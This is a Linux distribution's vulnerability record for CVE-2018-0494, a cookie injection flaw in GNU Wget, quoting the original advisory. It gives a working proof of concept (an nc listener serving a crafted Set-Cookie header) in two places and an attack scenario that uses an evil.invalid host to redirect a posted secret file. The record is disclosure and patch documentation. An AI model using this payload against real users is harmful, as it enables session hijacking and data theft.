CLD-383 Details

Other IDs this deficiency may be known by:

Basic Information:

Version Specific Information:

Details:

=================================== Overview ===================================

GNU Wget is susceptible to a malicious web server injecting arbitrary cookies to
the cookie jar file.

================================ Initial Report ================================

From https://sintonen.fi/advisories/gnu-wget-cookie-injection.txt:

GNU Wget Cookie Injection [CVE-2018-0494]
=========================================
The latest version of this advisory is available at:
https://sintonen.fi/advisories/gnu-wget-cookie-injection.txt


Overview
--------

GNU Wget is susceptible to a malicious web server injecting arbitrary cookies to
the cookie jar file.


Description
-----------

Normally a website should not be able to set cookies for other domains. Due to
insufficient input validation GNU Wget can be tricked into storing arbitrary cookie
values to the cookie jar file, bypassing this security restriction.


Impact
------

An external attacker is able to inject arbitrary cookie values cookie jar file,
adding new or replacing existing cookie values.


Details
-------

The discovered vulnerability, described in more detail below, enables the attack
described here in brief.

1. The attacker controlled web site sends a specially crafted Set-Cookie -header
   to inject a new authentication cookie for example.com, replacing the existing
   one. In order to be successful the victim must perform a wget operation on the
   attacker controller site, for example:
   wget --load-cookies jar.txt --save-cookies jar.txt https://evil.invalid
2. Victim uses wget to post some secret the the api.example.com:
   wget --load-cookies jar.txt --post-file secret.txt https://example.com/upload

Since the attacker was able to replace the authentication cookie for example.com,
the secret.txt data will be posted to attacker's account instead to that of the
victim.


Vulnerabilities
---------------

1. CWE-20: Improper Input Validation in Set-Cookie parsing [CVE-2018-0494]

The cookie parsing implementation does too lax input validation when parsing the
Set-Cookie response from the server. Consider the following malicious response:

HTTP/1.1 200 OK
Content-Length: 0
Set-Cookie: foo="bar
 .google.com	TRUE	/	FALSE	1900000000	injected	cookie
	";expires=Thursday, 01-Jan-2032 08:00:00 GMT


When parsed by Wget and stored to a cookie jar file it will appear as:

# HTTP cookie file.
# Generated by Wget on 2018-04-27 23:28:21.
# Edit at your own risk.

127.0.0.1:7777	FALSE	/	FALSE	1956556800	foo	"bar
 .google.com	TRUE	/	FALSE	1900000000	injected	cookie
	"

Since the Wget cookie jar parser skips any leading spaces, the .google.com line
will be picked up.

Note: The order in which the hosts/domains are stored in the cookie jar is derived
from the hashing function used to speed up the lookups. If an existing cookie is
to be replaced the server hostname used to serve the Set-Cookie will need to be
carefully chosen to result in hash entry below the targeted domain. If not done,
the original cookie will be used instead of the injected one.


Proof of Concept
----------------

1. Set up a minimal web server, good for 1 request:
 $ echo -ne 'HTTP/1.1 200 OK\r\nContent-Length: 0\r\nSet-Cookie: foo="bar\r\n\x20.google.com\tTRUE\t/\tFALSE\t1900000000\tinjected\tcookie\r\n\t";expires=Thursday, 01-Jan-2032 08:00:00 GMT\r\n\r\n' | nc -v -l 7777

2. Fetch the evil url:
 $ wget --save-cookies jar.txt http://127.0.0.1:7777/plop

3. Examine the resulting cookie jar file:
 $ cat jar.txt


Vulnerable versions
-------------------

The following GNU Wget versions are confirmed vulnerable:

- 1.7 thru 1.19.4


Mitigation
----------

1. Upgrade to GNU Wget 1.19.5 or later, or to appropriate security updated package
   in your distribution


Credits
-------

The vulnerability was discovered by Harry Sintonen / F-Secure Corporation.


Timeline
--------

2018.04.26  discovered & reported the vulnerability
2018.04.27  CVE-2018-0494 assigned
2018.05.06  GNU Wget 1.19.5 released with the fix
2018.05.06  public disclosure of the advisory


================================= Our Analysis =================================

----- Affected Products -----
Versions of Wget up to and 1.19.4 are vulnerable. This includes Wget as
originally packaged in Cucumber Linux 1.0 and 1.1. Wget 1.19.5 and later is not
vulnerable.

----- Scope and Impact of this Vulnerability -----
Allows for a remote attacker to create and edit arbitrary cookies if a user
connects to a malicious web server using Wget.

----- Testing if you are Affected -----
The original proof of concept works on Cucumber Linux with a simple
modification to step 1:

Proof of Concept
----------------

1. Set up a minimal web server, good for 1 request:
 $ echo -ne 'HTTP/1.1 200 OK\r\nContent-Length: 0\r\nSet-Cookie: foo="bar\r\n\x20.google.com\tTRUE\t/\tFALSE\t1900000000\tinjected\tcookie\r\n\t";expires=Thursday, 01-Jan-2032 08:00:00 GMT\r\n\r\n' | ncat -v -l 7777

2. Fetch the evil url:
 $ wget --save-cookies jar.txt http://127.0.0.1:7777/plop

3. Examine the resulting cookie jar file:
 $ cat jar.txt

If jar.txt contains an entry for .google.com ON A SEPARATE LINE, then your
system is vulnerable. If the entry for google.com is on the same line as the
entry for localhost, then your system is not vulnerable.

----- Fix for this Vulnerability -----
This vulnerability can be fixed by upgrading to Wget 1.19.5.

================================= Our Solution =================================

We have upgraded to Wget 1.19.5.